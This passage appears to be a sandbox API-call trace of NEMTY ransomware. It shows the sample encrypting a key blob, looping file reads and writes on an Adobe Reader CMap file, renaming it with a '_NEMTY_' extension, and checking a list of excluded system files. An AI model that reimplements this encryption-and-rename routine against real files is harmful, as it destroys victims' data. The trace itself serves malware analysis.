Size=0x30) returned 0x6345640 [0201.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0201.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0201.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-CID", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-CID", lpUsedDefaultChar=0x0) returned 18 [0201.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0201.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0201.885] Sleep (dwMilliseconds=0x5) [0201.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bfc07f0, dwHighDateTime=0x1d561e8)) [0201.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bfc07f0, dwHighDateTime=0x1d561e8)) [0201.893] GetLastError () returned 0x5 [0201.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.893] GetLastError () returned 0x5 [0201.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0201.893] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.893] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.894] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0201.894] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="NtzgoQ0BVZl6NCB5iC9G6fxwSGACixBGhMb4heac2lqGxmOHuJRN9arRXyx3opi4\r\n5shkWS7/HBi/6vgwJwYOvM3QEe/BgpuuFh/qz+JBFimIV/pmCJbMKnsTWVJnlPYg\r\nfYT3GIPvRoePfXU6GCdIBqWYJcoXoYvOFNn0TpLTY5hISDg9be/rOMBbpBsz5kQD\r\np10gX8zFD9PEM9cZs3QOqJgp5JnaUd7nzvDFDpNryVG3emib+3yWGJ+xCF/mfvbe\r\n/UVqZGJMI3ZfD+YlqdRvW13DScwk4FlornSWRF2b8u5nLJOHsDf7Jq+nRwvRCbl7\r\n+rGr83sVn2N4yqlOGzr1OQ==\r\n", pcchString=0x653e91c) returned 1 [0201.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0201.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0201.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0201.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0201.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-cid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.895] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.003] CloseHandle (hObject=0xffffffff) returned 0 [0202.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0202.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0202.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.003] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-cid"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-CID._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-cid._nemty_kgobjgd_")) returned 0 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.003] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Host", cAlternateFileName="ADCDCC~1")) returned 1 [0202.003] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2=".") returned 1 [0202.003] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="..") returned 1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="...") returned 1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="windows") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="$RECYCLE.BIN") returned 1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="rsa") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="NTDETECT.COM") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="ntldr") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="MSDOS.SYS") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="IO.SYS") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="boot.ini") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="boot.ini") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="AUTOEXEC.BAT") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="ntuser.dat") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="desktop.ini") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="CONFIG.SYS") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="RECYCLER") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="BOOTSECT.BAK") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="bootmgr") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="programdata") returned -1 [0202.004] lstrcmpiW (lpString1="Adobe-Korea1-H-Host", lpString2="appdata") returned -1 [0202.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0202.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0202.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0202.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0202.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0202.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0202.004] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0202.004] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-H-Host", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-H-Host", lpUsedDefaultChar=0x0) returned 19 [0202.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 